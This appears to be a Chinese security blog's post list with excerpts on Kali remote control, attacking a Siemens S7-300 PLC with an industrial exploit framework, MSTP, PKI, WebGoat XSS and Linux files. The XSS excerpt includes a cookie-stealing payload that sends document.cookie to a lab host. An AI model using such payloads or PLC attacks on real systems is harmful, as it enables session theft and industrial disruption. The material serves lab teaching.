- 博客(6)
- 收藏
- 关注
RSS订阅原创 kali远程控制
切换为root用户之后，可以对安卓机进行最大权限的控制，比如关闭selinux、读取文件等。按目标系统分：Windows、Androd、iOS、各种版本的Linux操作系统。Netcat工具的使用：（以Metasploitable 2的80端口为例进行测试）2、输入shell，执行各种命令，如查看操作系统信息、切换到root用户等。3、打开cmd执行各种命令，如查看文件夹内容、操作系统信息、关机。5、打开cmd执行各种命令，如查看文件夹内容、操作系统信息、关机。
2024-05-29 19:57:37
882
原创 西门子S7-300启停——从基础到实践
1.安装Vmware workstaion和Kali linux等软件，配置虚拟环境2.kali中安装工控漏洞利用框架 ISF（1）在kali终端中使用命令：git clone输入cd isf输入python2 isf.py（4）这时有可能会报错：缺少nmap模块，方法：A.克隆下载nmap模块的包git cloneB.进入文件夹使用命令Python2 setup.py insall。
2023-12-31 00:10:10
994
1
原创 深入探索华为多区域MSTP配置：从基础到实践
此外，我们还将探讨一些在实际配置中需要注意的问题，并以一个实际的网络拓扑为例，展示如何进行MSTP的配置。通常情况下，我们可以将核心层设备的端口设置为Root，汇聚层设备的端口设置为Designated，接入层设备的端口设置为Alternate。例如，为核心层设备创建域1，为汇聚层设备创建域2，为接入层设备创建域3。3. 配置MSTP域：在华为设备上创建多个MSTP域，并为每个域分配一个唯一的域名。3. 对于复杂的网络拓扑，可能需要配置更多的MSTP域和接口，以确保网络的高效运行。
2023-12-22 14:33:05
646
原创 PKI和证书服务
证书服务是PKI的一个重要组成部分，负责颁发和管理数字证书，为用户和实体的身份认证提供基础支持。例如，证书管理的复杂性和证书的合规性问题，以及CA的信任模型和证书的撤销管理等方面的挑战。随着互联网的发展和网络安全威胁的不断变化，PKI和证书服务也需要不断更新和进化，以适应新的安全需求和技术发展。在实际应用中，组织和机构应当注重对PKI和证书服务的合理配置和管理，包括选用可信任的CA、建立有效的证书管理流程、定期更新证书和加强对证书的监控和审计等措施。10.管理证书颁发机构，熟悉证书颁发机构控制台。
2023-12-12 20:41:49
38
原创 Web使用跨站脚本攻击客户端
document.write('<img src="http://192.168.56.10:88/'+document.cookie+"">");3．应用程序使用的是我们输入的字符串。9．现在, WebGoat给的目标是使用tom的账户删除tom的个人信息。在这里我们填写的是：Bob。5．试着在普通输入的后面加上非常简单的脚本代码:Bob<script>alert('xss')
2023-11-08 19:05:00
53
1
原创 Linux的目录和文件管理
命令是要执行的操作或任务的名称，选项是命令的配置和行为设置，参数是要操作的对象或要使用的数据。学会使用命令管理文件和目录包括创建、复制、移动、重命名、和删除文件、目录，以及查看文件和目录的内容和属性。1.了解Linux系统中目录的作用和常用文件的存储位置，如：/bin，/sbin，/home，/usr，/var等目录。Linux的文件是无结构字符流式文件，不考虑文件内部的逻辑结构，只把文件简单地看作是一系列字符的序列。Linux的虚拟文件系统允许众多不同类型的文件系统共存，并支持跨文件系统的操作。
2023-06-24 20:31:56
102
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人